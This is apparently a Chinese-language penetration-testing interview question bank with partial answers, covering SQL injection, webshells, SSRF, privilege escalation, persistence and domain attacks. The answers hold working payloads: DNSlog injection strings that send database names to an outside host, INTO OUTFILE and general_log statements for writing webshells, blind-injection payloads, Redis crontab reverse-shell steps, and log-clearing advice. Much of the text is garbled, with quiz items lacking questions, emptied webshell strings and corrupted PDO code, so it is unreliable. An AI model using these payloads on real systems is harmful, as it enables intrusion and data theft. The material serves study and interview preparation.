1、已经获得一个不出网的服务器的权限,后续的攻击思路,安全人员的检测和阻断方式
2、描述一个你见过的复杂的攻击场景
3、常见的nc/py/perl等反弹shell都在识别阻断库里了,还有什么其它方法?
4、docker有哪些安全为问题?
5、存储过程和预编译语句为什么不能完全防止注入攻击?
6、有哪些方法可以绕过api的token校验
7、代码中经常会初夏数据库配置文件货主阿里云api接口ak/sk,如何防范
8、api网关能解决哪些问题?
9、如何徒手检测某个linux服务器上的恶意shell
10、linux有哪些提权方法,已有nginx php权限webshell
11、AD中哪些漏洞或者攻击方式比较容易获得权限
12、Sam文件锁死的情况下如何获取凭证
13、什么是进程?什么是线程?
线程是进程的一个实体,是进程的一条执行路径,线程是CPU独立运行和独立调度的基本单位
进程是指在系统中正在运行的应用程序,程序一旦运行就是进程,进程是系统进行资源分配的独立实体,且每个进程拥有独立的地址空间。一个进程可以有多个线程,每个线程使用其所属进程的栈空间。
windows上的提权方式
渗透中,正向代理和反向代理隧道都用什么工具
SQL注入绕过waf方法
mysqL写webshell需要哪些条件
phpMyadmin如果不能通过out file写shell,还有哪些方式
如果不是默认路径,怎么去获得写shell路径
SQL获取mysql本身路径的函数
SQL注入延时注入方式,使用sleep的时候,如何加快延时出结果速度
SQLserver,xp_cmdshell,OA_SPCREATE
xss如何绕过CSP
了解JWT吗
XSS读localStorage
xss弹窗的函数
SSRF不能出网如何做验证
如果请求localhost,127.0.0.1被封禁,如何绕过
ipv6的地址如何表示
命令执行,不回显如何拿结果,不出网如何利用
如何利用任意文件下载
如何知道网站的目录,tomcat的路径
csrf如何修复
referer可以绕过,如何检测referer能否被绕过
Mybadits如何找sql注入
哪些sql语句不能被预编译
fastjson的gadget
如果一个网站被上传了webshell,如何排查入侵点,和查找权限维持的方法
java内存马了解过吗
域渗透了解过吗
参考:
下面是给大家一些面试参考
提权合集
https://forum.butian.net/share/207
windows提权
https://www.freebuf.com/articles/system/263139.html
linux提权
https://www.freebuf.com/articles/web/254452.html
正反向代理工具
https://wiki.freebuf.com/detail?wiki=15&post=268460
waf绕过
https://www.freebuf.com/articles/web/259027.html
https://www.freebuf.com/articles/web/259377.html
https://www.secpulse.com/archives/134595.html
https://mp.weixin.qq.com/s/AqTwUecnRmCVmX9XShEyJg
MYSQL写shell条件
https://www.cnblogs.com/fengshui/p/9265534.html
phpmyadmin写shell
https://blog.csdn.net/sunjikui1255326447/article/details/106440534/
查看MYSQL安装路径
https://www.cnblogs.com/phpper/p/10773004.html
DNS注入提高延迟注入速度
https://www.cnblogs.com/wxsheng/p/13608183.html
https://www.cnblogs.com/3ichae1/p/13058988.html
XSS CSP绕过
https://www.mi1k7ea.com/2019/02/24/CSP%E7%AD%96%E7%95%A5%E5%8F%8A%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7%E5%B0%8F%E7%BB%93/
JWT
https://www.jianshu.com/p/2488567c4a18
https://www.freebuf.com/vuls/211842.html
https://www.freebuf.com/vuls/211847.html
XSS读localstorage
https://www.cnblogs.com/xhds/p/12305103.html
https://blog.csdn.net/yanghuan313/article/details/55260232
https://www.freebuf.com/news/228787.html
XSS函数
https://blog.csdn.net/YuanMxy/article/details/80703515
https://blog.csdn.net/weixin_43536759/article/details/106785205
172.0.0.1被禁
https://www.bilibili.com/read/cv6988756
ipv6地址
https://blog.csdn.net/qq_42196196/article/details/84349893
命令执行不回显
https://blog.csdn.net/qq_43625917/article/details/107873787
https://www.xf1433.com/5424.html
https://www.77169.net/html/270501.html
https://blog.csdn.net/anquanniu/article/details/102641702
https://blog.csdn.net/qq_43625917/article/details/107873787
https://mp.weixin.qq.com/s/a8Hffe7pcNGM93EG7E9R9g
https://mp.weixin.qq.com/s/29leAcZlIo9aOSWdRTfcQg
不出网
https://mp.weixin.qq.com/s/cSaA6HUX0_j7KzBzAAoE0Q
https://www.freebuf.com/articles/web/247287.html
https://www.freebuf.com/articles/web/255840.html
https://www.freebuf.com/articles/web/255801.html
shiro不出网
https://blog.csdn.net/qq_44159028/article/details/115293579
任意文件下载利用
https://www.cnblogs.com/zhaijiahui/p/8459661.html
https://www.secpulse.com/archives/68522.html
选择题
A、安全标识符
B、安全主体
C、安全描述符
D、访问控制
A、android的签名中V2和V1的差别是,V2是对整个zip包进行了签名
B、利用Janus签名漏洞,攻击者可以注入恶意代码直接修改app
C、用apktool工具对apk重新打包后需要重新签名,才能安装运行
D、V1版本签名可以探测出apk的META-INF目录下文件的修改
A、Nginx
B、Apache
C、Phpcgi
D、Iis
4.在一颗二叉树上第4层的节点数最多有几个?
A、8
B、16
C、4
D、32
5.cookie中的secure的作用是什么?
A、防止CSRF漏洞
B、防止SSRF漏洞
C、防止cookie通过http传输
D、防止CORS漏洞
A、floor()
B、Exp()
C、Updatexml()
D、Extractvalue()
A、不但会导致数据泄露,还可能导致攻击者借此直接访问服务器的远程shell
B、会导致数据泄露,但数据库并不提供登录主机远程Shell功能,因此主机安全
C、攻击者只扫描到了口令内容,并不知道用户名,所以攻击者无法登录数据库
D、弱口令的泄露不会产生实际危害,数据库内容的泄露才可能产生实际危害
A、信号
B、消息队列
C、套接字
D、管道
A、touch /tmp/test.txt
B、Nc -l -p 1024
C、Iptables -t nat -l
A、HISTSIZE
B、LD_PRELOAD
C、SHELL
D、PATH
A、SYN Flood攻击
B、Ping 攻击
C、重放攻击
D、CC攻击
A、数据链路层
B、传输层
C、网络层
D、应用层
A、extract()
B、Parse_str()
C、eval()
D、Import_quest_variables()
A、random()
B、Time(0)
C、/dev/urandom
D、Rand()
A、Ip
B、Mac
C、Dns
D、主机名
填空题
IPSec属于()层的安全解决方案
低功耗蓝牙的广播通道编号是()、()、()
编程题
时间限制:3000ms
内存限制:589824kb
题目描述:
实现一个带加减乘除以及括号的计算器,不要使用eval对表达式进行计算,请实现一个parser,输入输出均为整数,如果结果带有小数点,对结果进行四舍五入
输入描述:
5*(1+3)/2
输出描述:
10
问答题
在渗透测试过程中,信息收集的途径有哪些?
介绍三种waf绕过的方式,并简述其绕过原理?
【二】
选择题
A、拿到webshell
B、获取数据库
C、造成windows操作系统蓝屏重启
D、泄露敏感信息
A、公安机关
B、信息系统的主管部门
C、网信办
D、国家保密工作部门
A、厂商自己做的非主流系统
B、Windows
C、防火墙设备
D、Linux
A、以及以上
B、三级以上
C、四级以上
D、二级以上
A、Sqlmap
B、Appscan
C、火狐插件
D、Metasploit
(1) 影响被测评信息系统正常运行,危害被测评信息系统安全
(2) 泄露知悉的被测评单位及被测评信息系统的国家秘密和工作秘密;
(3) 与客户进行沟通后隐瞒测评过程中发现的安全问题,维护客户关系
(4) 按规定格式出具等级测评报告
(5) 非授权占有、使用等级测评相关资料及数据文件
(6) 分包或转包等级测评项目;
(7) 信息安全产品开发、销售和信息系统集成;
(8) 限定被测评单位购买、使用指定信息安全产品,以达到最佳安全水平
A、(1)、(2)、(3)、(5)、(7)
B、(1)、(2)、(4)、(5)、(8)
C、(1)、(2)、(3)、(4)、(8)
D、(1)、(2)、(5)、(6)、(7)
A、等级报告
B、计算机信息系统应用需求、系统结构拓扑及说明、系统安全组织结构和管理制度、安全硬件和信息安全产品清单
C、安全策略文档
D、安全测评委托书
A、为了便于管理,多人可共享同一个账户
B、留有不使用的账户,供以后查询
C、应禁用默认账户
D、删除过期的账户
A、使网站或者服务器造成永久性的、无法挽回的破坏
B、私自添加管理员账号
C、获取用户身份证信息、个人密码、聊天记录等
D、向服务器写一个木马文件、永久的后门
A、本计算机的账户可以登录到其他计算机上
B、工作组中的操作系统必须一样
C、工作组中的每台计算机都在本地存储账户
D、工作组的的计算机的数量最好不要超过10台
A、%0A
B、%0D
C、/**/
D、%09
A、基本要求中增加了异地备份
B、对国家安全造成严重损害
C、对社会秩序和公共利益造成严重损害
D、对公民、法人、组织的合法权益特别严重的损害
A、遭受敌对势力的入侵、攻击、破坏
B、总体情况尚可,少量的基础信息网络和重要信息系统按恶犬隐患严重
C、全社会的信息安全等级保护意识仍需加强
D、针对基础信息网络和重要信息系统的违法犯罪持续上升
A、select/id?=1/111/id?=1/from admin
B、Select%0A111%0Bfrom admin
C、seLseLectect 111 frFroMom admin
D、s%ele%ct(111)fr%om adm%in
A、Metasploit
B、Nessus
C、AWVS
D、Jsky
A、信息系统安全保护等级专家评审意见
B、系统安全保护设施设计实施方案或者改建实施方案
C、系统安全组织机构和管理办法
D、系统结构及拓扑说明
A、我国的信息安全保障工作基础还很薄弱
B、基础信息网络和重要信息系统安全隐患严重
C、国际上通行的做法
D、来自境内外敌对势力的入侵、攻击、破坏越来越严重
A、跨省全国联网的大系统结构复杂运行实时保障性高、数据重要,加固改造周期长
B、设计范围广
C、政策性和技术性强
D、信息系统安全加固改造,需要国家在经费上予以支持
A、指导监督,重点保护
B、行业配合,优先保护
C、明确责任,共同保护
D、依照标准,自行保护
E、同步建设,动态调整
【三】
不定项选择题
A、<%execute(request(“value”))%>
B、
C、
D、<%if(request.getParameter(“!”)!=null)(newjavio.FileOutputStream(ap+request.getParmeter(“!”))).write(request.getParameter(“t”).getByte()))%>
A、Hackbar
B、Fiddler
C、Burpsuite
D、Nmap
A、命令执行漏洞
B、文件包含漏洞
C、SQL注入漏洞
D、反射XSS漏洞
A、WSI
B、菜刀
C、Dosend
D、Chkrootkit
A、TFTP
B、HTTP
C、TELNET
D、SSL
A、cat -100 log
B、mv -100 log
C、grep -100 log
D、tail -100 log
A、缓冲区溢出
B、拒绝服务
C、网络监听
D、Ip欺骗
A、公开信息的合理利用及分析
B、主机及系统信息收集
C、Ip及域名信息收集
D、使用sqlmap验证sql注入漏洞是否存在
A、JBoss、Weblogic、Tomcat
B、SQL注入、XSS
C、FCKeditor、Webeditor、CKeditor
D、iis6、php CGI、apache
A、%00.php
B、/abc/
C、900个a
D、%df
填空题
1.Mysql数据库默认有哪些数据库?说出库的名字?
2.你都了解哪些java框架?
3.java有哪些比较常见的中间件容器?
4.iptables工作在TCP/IP模型中的哪一层?
5.常见的网站服务器中间件?
【四】
单选题
A、数据的重要性、内容敏感程度、影响和分发范围
B、数据的价值、影响和分发范围
C、数据的内容敏感程度、影响和分发范围
D、数据的价值、内容敏感程度、影响和分发范围
A、IP数据报的校验和只校验ip数据报的首部,但UDP的校验和把首部和数据部分一起都校验
B、Ip数据包的校验和对首部和数据部分校验视情况而定,但UDP的校验和使把首部和数据部分一起校验
C、Ip数据包的校验和只校验ip数据包的首部,但UDP的校验和对首部和数据部分校验视情况而定
D、Ip数据包的校验和把首部和数据部分一起都校验,但UDP的校验只校验数据报的首部
A、负责对子网间的数据包进行路由选择,为分组交换网上的不同主机提供通信服务
B、通过传输介质发送和接受二进制比特流
C、尽最大努力的数据传输服务,数据传输单位是用户数据报
D、面向连接、可靠数据传输服务,数据传输单位是报文段
A、在网络层数据的传输单元称为数据包
B、在物理层数据的传输单位成为字节
C、在传输层数据的传输单元称为报文段
D、在数据链路层数据的传输单元称为帧
A、同一事务中,两次查询之间,出现删除操作
B、同一事务中,两次查询之间,出现插入操作
C、两次读取中,读取未提交事务
D、同一事务中,两次查询之间,出现更新操作
A、数据迁移
B、数据不可用
C、数据篡改和破坏
D、数据泄露
A、2^64
B、2^10
C、2^128
D、2^32
A、服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除
B、使用黑名单来规范化输入验证方法
C、对输入的特殊字符进行Escape转义处理
D、使用安全的API
A、叶子节点数越少越好
B、权重越小的节点离树根越近
C、叶子节点数越多越好
D、权重越大的节点离树根越近
A、堆排序相对选择排序改进的部分包括使用堆数据结构而不是线性时间的搜索来找到最大值
B、堆排序是一种不稳定的基于比较的排序算法
C、堆排序可以被认为是一种改进的选择排序
D、在大多数机器上的实际运行速度要比实现良好的快速排序慢一些,但是它的最坏时间复杂度排序算法,而且它是稳定的排序。
A、IPS
B、HIDS
C、防火墙
D、IDS
A、不可以使用$等标识符
B、方括号两边必须有空格
C、方括号可以嵌套结构
D、括号内字符之间必须有空格
A、限制Session Cookie的生命周期
B、Cookie关键字段设置httponly属性
C、检查http referer字段是否同域
D、使用验证码
A、RDBMS中索引一般采用B+树或hash来实现
B、SQL数据定义语句的操作对象有:模式、表、视图和索引
C、SQL数据定义语句的命令动词是:CREATE、DROP和ALTER
D、索引只分为唯一索引、非唯一索引两种类型
A、进程具有多态性
B、进程拥有各自独立的资源,运行时不相互干扰
C、一个程序可以包含多个进程,但一个进程只包含一个程序
D、要给完整的进程包括程序,执行程序所需数据,同时还必须包括记录进程状态的数据
A、select name,count() from white_user group by name where count() > 1;
B、Select name,count() from white_user having count() > 1;
C、Select name,count() from white_user goup by name having count() > 1;
D、Select name,count() from white_user where count() > 1 group by name;
A、CSRF
B、ARP欺骗
C、XSS攻击
D、SQL注入攻击
A、NAT技术
B、包过滤技术
C、代理服务器技术
D、应用级网关技术
A、3DES加密算法是使用 3个密钥进行加密
B、AES算法的密钥长度超过128位,加密强度很高
C、DES算法的密钥长度是32位,强度比较低
D、MD5加密算法,已经可以被暴力破解
A、DDOS攻击
B、Smurf攻击
C、ICMP攻击
D、Land攻击
为什么拿别人的问题过来呢?因为看到这个面试题,发现里面有部分内容我不会,所以想要后面进行学习,或者进行细化分析,本篇文章会累计面试题并会在后续添加答案及答案分析
问:MySQL写WebShell有几种方式,利用条件
答:
一、
union select 后写入
lines terminated by 写入
lines starting by 写入
fields terminated by 写入
COLUMNS terminated by 写入
二、
root权限
GPC关闭(能使用单引号),magic_quotes_gpc=On
有绝对路径(读文件可以不用,写文件必须)
没有配置–secure-file-priv
成功条件:有读写的权限,有create、insert、select的权限
问:Sql 注入无回显的情况下,利用 DNSlog,mysql 下利用什么构造代码,mssql 下又如何?
答:
(1)没有回显的情况下,一般编写脚本,进行自动化注入。但与此同时,由于防火墙的存在,容易被封禁IP,可以尝试调整请求频率,有条件的使用代理池进行请求。
(2)此时也可以使用 DNSlog 注入,原理就是把服务器返回的结果放在域名中,然后读取 DNS 解析时的日志,来获取想要的信息。
(3)Mysql 中利用 load_file() 构造payload
' and if((select load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc'))),1,0)#
(4)Mssql 下利用 master..xp_dirtree 构造payload
DECLARE @host varchar(1024);SELECT @host=(SELECT db_name())+'.xxx.ceye.io';EXEC('master..xp_dirtree"\'+@host+'\foobar$"');
问:phpmyadmin写sehll的方法
答:
一、常规导入shell的操作
创建数据表导出shell
CREATE TABLE `mysql`.`shadow9` (`content` TEXT NOT NULL );
INSERT INTO `mysql`.`shadow9` (`content` ) VALUES ('');
SELECT `content` FROM `shadow9` INTO OUTFILE 'C:\\phpStudy\\WWW\\90sec.php';
DROP TABLE IF EXISTS `shadow9`;
二、一句话导出shell:
select ‘’ into outfile ‘c:/phpstudy/www/90sec.php’;
select ‘’ into outfile ‘c:\phpstudy\www\90sec.php’;
select ‘’ into dumpfile ‘c:\phpstudy\www\bypass.php’;
三、日志备份获取shell
show global variables like “%genera%”; //查询general_log配置
set global general_log=‘on’; //开启general log模式
SET global general_log_file=‘D:/phpStudy/WWW/cmd.php’; //设置日志文件保存路径
SELECT ‘’; //phpinfo()写入日志文件
set global general_log=‘off’; //关闭general_log模式
问:权限维持的方法
答:
留自启动后门方法很多,大多数都添加到服务,加注册表 加启动项,
windows:
1.替换系统文件类(shift后门,放大镜后门)
2.修改注册表类
自启动项、屏幕保护程序注册表、用户登陆初始化、登录脚本、映像劫持、影子账户、AppCertDlls注册表项、AppInit_DLLs注册表项、文件关联、用户登陆初始化、xx.Netsh Helper DLL
3.文件类
自启动文件夹、office Word StartUp劫持
4.计划任务
schtasks 、WMI、bitsadmin
Linux
1.预加载型动态链接库后门
2.strace后门
3.SSH 后门
4.SUID后门
5.inetd服务后门
6.协议后门
7.vim后门
8.PAM后门
9.进程注入
10.Rootkit
11.端口复用
MSF权限维持
1.Persistence模块
2.Metsvc 模块
Powershell权限维持
CS权限维持
SC命令
问:XXE 漏洞原理,代码审计如何寻找?
答:
(1)XXE (XML 外部实体注入)当 应用允许引用 XML 外部实体时,攻击者通过构造恶意内容,就可能进行任意文件读取、系统命令执行、内网端口探测、内网网站攻击等操作。
支持的协议如下图:
Java :支持http、https、file、ftp、mailto、jar、netdoc、(1.8不支持gopher)
(2)审计函数,涉及到XML文件处理,都可能造成 XXE
(3)防御方法:禁用外部实体
问:SSRF 禁用 127.0.0.1 后如何绕过,支持哪些协议?
答:
(1)利用进制转换
(2)利用DNS解析
(3)利用句号(127。0。0。1)
(4)利用[::](http://[::]:80/);
(5)利用@(http://[email protected]);
(6)利用短地址(http://dwz.cn/11SMa);
(7)协议(Dict://、SFTP://、TFTP://、LDAP://、Gopher://)
问:应急响应如何查找挖矿病毒,如何通过进程找到挖矿文件
答:
(1)任务管理器netstat -anp寻找异常进程PID看端口信息,然后根据端口信息定位到文件,cd /proc/PID (ls -l查看),
禁用可疑的服务项。
(2)windows还可以用wmic分析进程参数
问:struts2框架漏洞原理
答:
(1)struts是java的web框架
(2)采取OGNL表达式,处理view层数据字符串到controller层转换成java对象
(3)重点关注的编号加粗如下
S2-057 影响范围非常小
S2-048 影响范围非常小
S2-046 和S2-045一样
S2-045 影响范围较大----通过Content-Type这个header头,进而执行命令,通过Strus2对错误消息处理进行回显
S2-037 影响范围小
S2-032 影响范围小
S2-020 影响范围小
S2-019 影响范围一般
S2-016 影响范围非常大
S2-013 S2-016范围内
S2-009 S2-016范围内
S2-005 S2-016范围内
问:JAVA反序列化原理
答:
(1)Java序列化指Java对象转换为字节序列的过程
(2)Java反序列化指字节序列恢复为Java对象的过程
(3) Commons-collections 爆出第一个漏洞开始,Java反序列化漏洞的事件就层出不穷。
(4)在Java中,利用ObjectInputStream的readObject方法进行对象读取
(5)可以深入了解 ysoserial有哪些gadgets
问:cors如何产生,有哪些利用方式?绕过同源策略的方法有哪些?jsonp跨域如何利用?
答:
(1)CORS全称是"跨域资源共享"(Cross-origin resource sharing),Origin源未严格,从而造成跨域问题,允许浏览器向跨源服务器,发出XMLHttpRequest请求
(2)Origin为*的时候,使用curl测试CORS,
curl -H “Origin: https://evil.com” -I
再寻找的api接口是否有敏感信息泄漏。
(3)同源:协议相同、域名相同、端口相同,绕过同源策略限制的方法:
1、document.domain属性
2、片段识别符(URL后加#号)
3、window.name
4、跨文档通信API
5、JSONP
6、CORS
7、WebSockets
(4)jsonp跨域利用:获取JSON数据并编码发送到远程服务器上
问:phar协议如何利用,php伪协议input与post数据包发送有什么区别?
答:
(1)可以Bypass一些waf,绕过上传限制
(2)Phar反序列化,Phar:// 伪协议读取phar文件时,会反序列化meta-data储存
(3) 区别
一、 application/x-www-form-urlencoded 或 multipart/form-data时
php://input 中是原始数据。
$_POST 中是关联数组,且没有上传控件的内容。
二、enctype="multipart/form-data" 时
php://input 是无效的。
三、 Content-Type = "text/plain"时
$_POST 不能获取post的数据, php://input可以。
问:内网服务器,如何进行信息收集
答:
(1)手动,用一些小工具(批量看存活)
new user /domain查域、net view看共享、hosts文件内网ip域名映射、wifi记录和密码、浏览器中的密码、敏感文件、各类服务的配置文件中信息、历史命令、ssh私钥、FTP的连接信息、xshell等ssh连接工具的session文件,3389连接历史和被连接历史信息、某些内网api接口未授权访问
(2)扫描器
主机扫描、端口扫描、漏洞扫描、识别内网环境、密码爆破、抓密码
(3)留后门,抓信息
问:内网黄金票据、白银票据的区别和利用方式
答:
(1)白银票据:抓取到了域控服务hash的情况下,在客户端以一个普通域用户的身份生成TGS票据,并且是针对于某个机器上的某个服务的,生成的白银票据,只能访问指定的target机器中指定的服务。
黄金票据:直接抓取域控中账号的hash,来在client端生成一个TGT票据,那么该票据是针对所有机器的所有服务。
(2)通过mimkatz执行,导出域控中账号的Hash
问:docker远程api漏洞原理
答:
(1)docker swarm 是一个将docker集群变成单一虚拟的docker host工具,使用标准的Docker API,能够方便docker集群的管理和扩展,该未授权访问,可以通过url操作,执行docker命令。
(2)通过docker client执行目标服务器容器命令,docker是以root权限运行的
一、有运行ssh服务,/root/.ssh目录挂载到container内,,然后修改/.ssh/authorized_keys 文件,把自己的public key写进去
二、没有运行ssh服务,利用挂载写crontab定时任务,反弹一个shell
问:ssrf怎么用redis写shell
答:
(1)SSRF服务端请求伪造
一、对内网扫描,获取 banner
二、攻击运行在内网的应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)
三、利用协议读取本地文件
四、 云计算环境AWS Google Cloud 环境可以调用内网操作 ECS 的 API
(2)如webligic SSRF漏洞
通过SSRF的gopher协议操作内网的redis,利用redis将反弹shell写入crontab定时任务,url编码,将\r字符串替换成%0d%0a
问:预编译能否100%防sql注入,如果不能,写一个
答:
不能。
一、
$pdo->query(‘SET NAMES gbk’);
$var = “\xbf\x27 OR 1=1 /*”;
$query = ‘SELECT * FROM test WHERE name = ? LIMIT 1’;
$stmt = p d o − > p r e p a r e ( pdo->prepare( pdo−>prepare(query);
s t m t − > e x e c u t e ( a r r a y ( stmt->execute(array( stmt−>execute(array(var));
类似于宽字节注入
二、
$dbh = new PDO(“txf”);
$name = $_GET[‘name’];
$stmt = $dbh->prepare(‘SELECT * FROM ’ . $name . ’ where username = :username’);
$stmt->execute( array(’:username’ => $_REQUEST[‘username’]) );
参数name是一串数组,PDO不会生效
三、
$stmt = $dbh->prepare(‘SELECT * FROM foo ORDER BY :userSuppliedData’);
PDO对DDL不生效
问:WAF 绕过
答:
1 注释替换空格
2 字符集绕过
3 chunked绕过
4 上传请求 multipart 绕过
5.参数污染
。。。
问:SQL注入构造payload
答:
一、布尔型盲注
(1)mysql :
'and (length(database()))>10 --+
(2)oracle:
’ and 1=(select decode(user,‘SCOTT’,1,0) from dual) –
二、时间型盲注
and if(ascii(substr((select database()),1,1))>115,1,sleep(5))
三、利用报错回显
(1) extractvalue
and extractvalue(1,concat(0x7e,(select database())))
(2) updatexml
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
问:UDF提权原理
答:利用了root 高权限,创建带有调用cmd的函数的udf.dll动态链接库,导出 udf.dll 文件后,我们就可以直接在命令框输入 cmd
问:提权方式
答:
windows:
1.systminfo ,根据系统补丁提权
2.第三方服务提权
3.数据库提权
。。。
linux:
1.利用系统内核漏洞进行提权
2.泄漏密码提权
3.sudo提权
4.SUID提权
。。。
问:XSS弹窗函数及常见的 XSS 绕过策略
答:
一、alert,confirm,prompt三种函数
二、绕过策略
1. 大小写混合
2. 双写
3.编码
4. fuzz 低频使用标签
5. fuzz 低频使用函数 ontoggle 等
6.
7.%0a或者%0d绕过
问:Windows cmd 如何下载文件
答:
1.certutil.exe
2.powershell
3.bitsadmin
4.vbs
5.ftp
问:SVN/GIT源代码泄露
答:
(1)在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息
/.git/config
(2)使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞
/.svn/entries
问:reverse_tcp 和 bind_tcp 的区别
答:
(1)reverse_tcp
木马会主动连接目标服务器
(2)bind_tcp
木马会监听本地的端口
什么是fastjson,有哪些漏洞?
答:
(1)Fastjson是Alibaba开发的Java语言编写的高性能JSON库
(2)攻击者准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数形成RCE
(3)fastjson漏洞历史
1.fastjson-1.2.24
(fastjson接受的JSON可以通过艾特type字段来指定该JSON应当还原成何种类型的对象,在反序列化的时候方便操作)
2.fastjson-1.248以下
(checkAutoType中使用TypeUtils.getClassFromMapping(typeName)去获取class不为空,从而绕过了黑名单检测)
3.fastjson-1.2.60以下
(在此版本以下,字符串中包含\x转义字符时可以造成dos漏洞)
问:隐藏攻击痕迹的方法
答:
1.跳板
2.代理服务器
3.Tor
4.日志
5.清除历史记录
6.粉碎文件
理解漏洞
讲诉一些近期及有代表性的漏洞
Microsoft Exchange .Net反序列化远程代码执行(CVE-2020-0688)
该漏洞是由于Exchange控制面板(ECP)组件中使用了静态密钥validationKey和decryptionKey
Apache Tomcat 文件包含漏洞(CVE-2020-1938)
默认情况下,Tomcat会开启AJP连接器, Tomcat在AJP协议的实现上存在漏洞,导致攻击者可以通过发送恶意的请求,可以读取或者包含Web根目录下的任意文件,配合文件上传,将导致任意代码执行(RCE)
Weblogic IIOP反序列化漏洞(CVE-2020-2551)
weblogic核心组件中IIOP协议,通过该协议对存在漏洞的WebLogic进行远程代码执行的攻击
Apache Solr远程代码执行(CVE-2019-12409)
默认配置文件solr.in.sh,在其配置文件中ENABLE_REMOTE_JMX_OPTS字段默认配置不安全.如果使用默认配置,将启用JMX监视服务并将对公网监听18983的RMI端口,无需任何验证,配合JMX RMI远程代码执行
SHIRO-550 反序列化漏洞
shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:
得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化
AES的密钥是硬编码在代码里,就导致了反序列化的RCE漏洞
SHIRO-721反序列化漏洞
不需要key,利用Padding Oracle Attack构造出RememberMe字段后段的值结合合法的RememberMe cookie即可完成攻击
泛微Ecology OA SQL注入漏洞
validate.jsp接口的SQL注入,/cpt/manage/validate.jsp
泛微ecology OA系统接口存在数据库配置信息泄露
/mobile/dbconfigreader.jsp,直接访问该页面将为DES加密以后的乱码,使用DES算法结合硬编码的key进行解密
Confluence本地文件泄露漏洞(CVE-2019-3394)
catalina.jar中的org.apache.catalina.webresources.StandardRoot.class的getResource方法的validate存在过滤和限制,所以可遍历路径均在/WEB-INF下
Apache Dubbo反序列化漏洞(CVE-2019-17564)
当HTTP remoting 开启的时候,存在反序列化漏洞